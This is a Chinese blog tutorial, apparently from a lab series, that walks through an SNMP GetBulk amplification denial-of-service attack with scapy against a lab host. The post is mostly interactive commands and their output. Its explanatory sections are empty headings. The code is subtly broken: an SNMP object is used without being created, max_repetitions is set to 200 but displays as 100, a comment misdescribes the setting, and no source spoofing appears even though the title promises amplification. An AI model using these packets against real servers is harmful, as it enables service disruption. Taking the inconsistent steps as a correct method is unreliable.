二十八、拒绝服务--(6)SNMP放大攻击

2018-09-14  本文已影响0人  cybeyond

1、SNMP简单网络管理协议

2、攻击原理

3、测试

测试图 配置snmp

使用scapy

>>> i=IP()
>>> i.dst="192.168.50.193"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.192
  dst= 192.168.50.193 //目标snmpclient地址
  \options\

定义udp

>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
>>> u.display()
###[ UDP ]### 
  sport= snmp
  dport= snmp
  len= None
  chksum= None

定义snmp

>>> s.community="snmpclient“
>>> s.community="snmpclient"
>>> s.display()
###[ SNMP ]### 
  version= 0x1 <ASN1_INTEGER[1]>
  community= 'snmpclient'
  \PDU\
   |###[ SNMPget ]### 
   |  id= 0x0 <ASN1_INTEGER[0]>
   |  error= 0x0 <ASN1_INTEGER[0]>
   |  error_index= 0x0 <ASN1_INTEGER[0]>
   |  \varbindlist\

设置SNMP的bulk

>>> b=SNMPbulk()
>>> b.display()
###[ SNMPbulk ]### 
  id= 0x0 <ASN1_INTEGER[0]>
  non_repeaters= 0x0 <ASN1_INTEGER[0]>
  max_repetitions= 0x0 <ASN1_INTEGER[0]>
  \varbindlist\
>>> b.max_repetitions=200 //重复发送200遍查询

设置SNMP的PDU

>>> s.PDU=b
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
>>> s.display()
###[ SNMP ]### 
  version= 0x1 <ASN1_INTEGER[1]>
  community= 'snmpclient'
  \PDU\
   |###[ SNMPbulk ]### 
   |  id= 0x0 <ASN1_INTEGER[0]>
   |  non_repeaters= 0x0 <ASN1_INTEGER[0]>
   |  max_repetitions= 100
   |  \varbindlist\
   |   |###[ SNMPvarbind ]### 
   |   |  oid= <ASN1_OID['.1.3.6.1.2.1.1']>
   |   |  value= <ASN1_NULL[0]>
   |   |###[ SNMPvarbind ]### 
   |   |  oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
   |   |  value= <ASN1_NULL[0]>

发送snmp包

>>> r=(i/u/s)
>>> sr1(r)

查看发送200遍的结果


snmp抓包结果
上一篇下一篇

猜你喜欢

热点阅读